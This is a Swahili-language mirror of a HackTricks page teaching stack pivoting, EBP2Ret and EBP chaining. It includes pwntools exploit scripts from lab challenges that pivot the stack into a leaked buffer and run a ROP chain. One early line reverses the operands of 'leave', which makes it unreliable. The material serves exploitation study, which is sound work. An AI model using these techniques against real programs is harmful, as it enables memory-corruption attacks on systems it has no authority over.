Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

11 KiB
Raw Blame History

Stack Pivoting - EBP2Ret - EBP chaining

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Mbinu hii inatumia uwezo wa kudhibiti Msingi wa Alama (EBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya kusajili EBP na mfuatano wa maagizo ya leave; ret.

Kama kumbukumbu, leave kimsingi inamaanisha:

mov       ebp, esp
pop       ebp
ret

Na kwa kuwa EBP iko kwenye stack kabla ya EIP inawezekana kuudhibiti kwa kudhibiti stack.

EBP2Ret

Mbinu hii ni muhimu hasa unapoweza kubadilisha kisajili cha EBP lakini huna njia moja kwa moja ya kubadilisha kisajili cha EIP. Inatumia tabia ya kazi wakati zinaisha kutekelezwa.

Ikiwa, wakati wa utekelezaji wa fvuln, unaweza kuingiza fake EBP kwenye stack inayoelekeza kwenye eneo kwenye kumbukumbu ambapo anwani ya shellcode yako iko (pamoja na byte 4 kuhesabu operesheni ya pop), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati fvuln inarudi, ESP inawekwa kwenye eneo hili lililoundwa, na operesheni inayofuata ya pop inapunguza ESP kwa 4, kufanya ielekeze kwa anwani iliyohifadhiwa na mshambuliaji hapo.
Tambua jinsi unavyohitaji kujua anwani 2: Ile ambapo ESP itaenda, ambapo utahitaji kuandika anwani inayoelekezwa na ESP.

Ujenzi wa Utekaji

Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani za kiholela. ESP itaelekeza hapa na kutekeleza ret ya kwanza.

Kisha, unahitaji kujua anwani inayotumiwa na ret ambayo ita tekeleza kanuni za kiholela. Unaweza kutumia:

  • Anwani halali ya ONE_GADGET.
  • Anwani ya system() ikifuatiwa na byte 4 za taka na anwani ya "/bin/sh" (x86 bits).
  • Anwani ya kifaa cha jump esp; (ret2esp) ikifuatiwa na shellcode ya kutekelezwa.
  • Baadhi ya mnyororo wa ROP.

Kumbuka kwamba kabla ya anwani yoyote hizi katika sehemu iliyodhibitiwa ya kumbukumbu, lazima iwe na 4 byte kwa sababu ya sehemu ya pop ya maelekezo ya leave. Inawezekana kutumia 4B hizi kuweka fake EBP ya pili na kuendelea kudhibiti utekelezaji.

Utekaji wa Off-By-One

Kuna toleo maalum la mbinu hii inayojulikana kama "Utekaji wa Off-By-One". Hutumiwa unapoweza kubadilisha byte ya thamani ndogo zaidi ya EBP. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kusonga kwenda na ret lazima iwe na byte tatu za kwanza na EBP, kuruhusu udanganyifu kama huo chini ya hali zilizozuiwa zaidi.
Kawaida, inabadilishwa byte 0x00 ili kusonga mbali iwezekanavyo.

Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kufanya iwezekane zaidi kwamba ESP mpya inaelekeza ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.

EBP Chaining

Hivyo, kwa kuweka anwani iliyodhibitiwa kwenye kuingia ya EBP ya stack na anwani ya leave; ret katika EIP, inawezekana kuhamisha ESP kwenye anwani iliyodhibitiwa ya EBP kutoka kwenye stack.

Sasa, ESP inadhibitiwa ikiashiria kwenye anwani inayotakiwa na maelekezo inayofuata ya kutekelezwa ni RET. Ili kutumia hii, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:

  • &(EBP bandia inayofuata) -> Pakia EBP mpya kwa sababu ya pop ebp kutoka kwa maelekezo ya leave
  • system() -> Kuitwa na ret
  • &(leave;ret) -> Kuitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
  • &("/bin/sh")-> Param kwa system

Kimsingi njia hii inawezesha kuunganisha EBPs bandia kadhaa kudhibiti mtiririko wa programu.

Hii ni kama ret2lib, lakini ni ngumu zaidi bila faida inayoonekana lakini inaweza kuwa ya kuvutia katika hali za kipekee.

Zaidi ya hayo, hapa kuna mfano wa changamoto inayotumia mbinu hii na stack leak kuita kazi ya kushinda. Hii ni mzigo wa mwisho kutoka kwenye ukurasa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP huenda isitumike

Kama ilivyoelezwa katika chapisho hili, ikiwa binary imekompiliwa na baadhi ya optimizations, EBP kamwe haitadhibiti ESP, hivyo, shambulio lolote linalofanya kazi kwa kudhibiti EBP litashindwa kwa sababu halina athari halisi.
Hii ni kwa sababu prologue na epilogue hubadilika ikiwa binary imeoptimize.

  • Haijaoptimize:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Imeboreshwa:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Njia nyingine za kudhibiti RSP

Gadget ya pop rsp

Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa lazima kuita kazi na vigezo 2 maalum, na kulikuwa na gadget ya pop rsp na kuna leak kutoka kwenye stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

kifaa cha xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Angalia mbinu ya ret2esp hapa:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

Marejeo & Mifano Mingine

ARM64

Katika ARM64, prologue na epilogue ya functions hawaweki na kurejesha SP registry kwenye stack. Kwa hiyo, kwa chaguo-msingi, hutaweza kudhibiti SP registry kwa kubadilisha data fulani ndani ya stack.

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: